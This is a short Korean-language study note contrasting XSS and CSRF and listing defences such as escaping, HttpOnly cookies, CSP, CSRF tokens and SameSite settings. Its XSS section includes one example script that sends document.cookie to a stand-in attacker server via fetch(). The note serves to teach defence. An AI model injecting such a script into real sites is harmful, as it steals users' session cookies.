XSS와 CSRF
쿠키를 읽는 공격과 사용하는 공격
XSS(Cross-Site Scripting)는 악성 스크립트를 심어 쿠키를 읽는 공격으로 httpOnly로 막고, CSRF(Cross-Site Request Forgery)는 쿠키 자동 전송을 악용하는 공격으로 CSRF 토큰이나 SameSite=Lax로 막는다.
Security
개념
XSS와 CSRF는 둘 다 브라우저 쿠키를 악용하는 공격이지만 방향이 정반대다.
- XSS — 공격자가 심은 스크립트가 쿠키를 읽어서 훔침
- CSRF — 공격자가 유도한 요청을 브라우저가 쿠키를 자동으로 붙여서 보냄
"읽는 공격 vs 사용하는 공격"이라고 보면 기억하기 쉽다. 방어 방식도 반대다.
왜 둘 다 신경 써야 하나
- XSS만 막으면 쿠키는 못 훔치지만, 로그인된 사용자를 속여서 위조 요청을 보낼 수 있음(CSRF)
- CSRF만 막으면 요청 위조는 안 되지만, 스크립트 심어서 세션/토큰을 통째로 훔칠 수 있음(XSS)
- 쿠키 기반 인증을 쓰는 이상 둘을 따로 막아야 한다
XSS (Cross-Site Scripting)
악성 스크립트를 웹사이트에 심어서 쿠키/토큰을 읽는 공격.
<!-- 댓글 같은 입력창에 이걸 심으면 -->
<script>
fetch("https://해커서버.com?token=" + document.cookie);
</script>
댓글·게시글·닉네임 같은 사용자 입력이 HTML에 그대로 렌더링되면 누구든 스크립트를 심을 수 있다.
방어
- 입력 이스케이프 — 사용자 입력을 HTML로 뱉을 때
<,>,&같은 특수문자를 치환 HttpOnly쿠키 — JS로 읽기 불가(document.cookie에 잡히지 않음). XSS로도 쿠키 못 훔침- CSP(Content-Security-Policy) — 신뢰하는 스크립트 출처만 허용
CSRF (Cross-Site Request Forgery)
사용자 모르게 요청을 위조하는 공격. 쿠키를 사용하는 공격.
- 로그인된 상태에서 해커 링크를 클릭
- 해커가 만든 페이지가 몰래
myapp.com으로 요청을 보냄 - 브라우저가 쿠키를 자동으로 붙여주니까 서버 입장에선 정상 요청처럼 보임
HttpOnly로는 못 막음 (JS로 읽는 게 아니라 브라우저가 자동으로 붙이는 거라)GET보다POST/PUT/DELETE에서 위험 (상태 변경이 일어나니까)
방어 1 — CSRF 토큰
서버가 랜덤 토큰을 발급 → 요청할 때 헤더나 폼 필드에 담아서 전송 → 서버가 검증. 해커는 토큰을 모르니까 위조 요청을 만들 수 없다.
방어 2 — SameSite 쿠키
SameSite=Strict— 다른 사이트에서 쿠키 완전 차단SameSite=Lax— GET은 허용, POST/PUT/DELETE는 다른 사이트에서 차단 (현대 브라우저 기본값, 실무에서 충분한 수준)SameSite=None— 모두 허용 → CSRF 취약.Secure와 같이 써야 함
XSS vs CSRF
| XSS | CSRF | |
|---|---|---|
| 공격 방식 | 스크립트로 쿠키를 읽음 | 브라우저가 쿠키를 자동 사용 |
| 방어 | HttpOnly 쿠키 + 입력 이스케이프 + CSP | CSRF 토큰 또는 SameSite=Lax |
더 보기
- CORS — 이름은 비슷하지만 CORS는 정책, CSRF는 공격
- BFF — 토큰을 서버에 두고 쿠키만 브라우저에 둬서 XSS 공격면 축소
- API-Gateway — CSRF 검증을 게이트웨이에서 중앙 처리